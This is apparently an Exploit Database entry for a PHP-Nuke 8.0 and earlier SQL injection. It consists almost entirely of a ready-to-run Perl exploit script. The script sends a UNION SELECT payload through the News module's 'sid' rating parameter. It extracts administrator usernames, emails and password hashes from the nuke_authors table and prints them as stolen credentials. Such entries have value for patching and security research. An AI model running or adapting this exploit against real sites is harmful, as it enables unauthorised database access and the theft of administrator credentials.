PHP-Nuke <= 8.0 - Remote SQL Injection Exploit

2010-06-30T00:00:00
ID EDB-ID:14124
Type exploitdb
Reporter Dante90
Modified 2010-06-30T00:00:00

Description

PHP-Nuke <= 8.0 Remote SQL Injection Exploit. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
#[0-Day] PHP-Nuke &lt;= 8.0 (News) Remote SQL Injection Exploit
#Created: 2010.04.23 after 3 days the bug was discovered.
#Author/s: Dante90 & The:Paradox, WaRWolFz Crew
#Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat
#Web Site: www.warwolfz.org

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;

my $UserName = shift or usage();
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site
Link

my $Method = HTTP::Request-&gt;new(POST =&gt; $HostName.'modules.php?name=News');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
agent =&gt; 'Mozilla/5.0',
max_redirect =&gt; 0,
cookie_jar =&gt; $Cookies,
default_headers =&gt; HTTP::Headers-&gt;new,
) or die $!;
my $Referrer = "sid=Dante90, WaRWolFz Crew
http://www.warwolfz.org/&op=rate_complete&score=1";

sub SQL_Injection{
my ($Victime) = @_;
return "-2' UNION#\n SELECT
CONCAT_WS(CHAR(32,58,32),`aid`,`name`,`email`,`pwd`) FROM `nuke_authors`
WHERE `aid`='${Victime}'-- ";
}

$Method-&gt;referer($HostName.'modules.php?name=News');
$Method-&gt;content_type('application/x-www-form-urlencoded');
$Method-&gt;content("sid=".SQL_Injection($UserName)."&op=rate_complete&score=1");
my $Response = $UserAgent-&gt;request($Method);
$Response-&gt;is_success or die "$HostName : ",$Response-&gt;message,"\n";

if($Response-&gt;content =~ /([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9-_.]{2,15}) :
([a-zA-Z0-9.@]{1,50}) : ([a-f0-9]{32})/i){
refresh($HostName, $1, $2, $3, $4);
print " * Exploit Successfully Executed *\n";
print " ------------------------------------------------------\n\n";
system("pause");
}else{
refresh($HostName, "", "", "", "");
print " * Error extracting sensible data.\n";
print " * Exploit Failed *\n";
print " ------------------------------------------------------ \n\n";
}


sub usage{
system("cls");
{
print " \n [0-Day] PHP-Nuke &lt;= 8.0 (News) Remote SQL Injection
Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [username] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90 & The:Paradox, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
exit;
}

sub refresh{
system("cls");
{
print " \n [0-Day] PHP-Nuke &lt;= 8.0 (News) Remote SQL Injection
Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [username] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90 & The:Paradox, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
print " * Victime Site: " . $_[0] . "\n";
print " * User ID: " . $_[1] . "\n";
print " * Username: " . $_[2] . "\n";
print " * Password: " . $_[4] . "\n";
print " * E-Mail: " . $_[3] . "\n";
}

#WaRWolFz Crew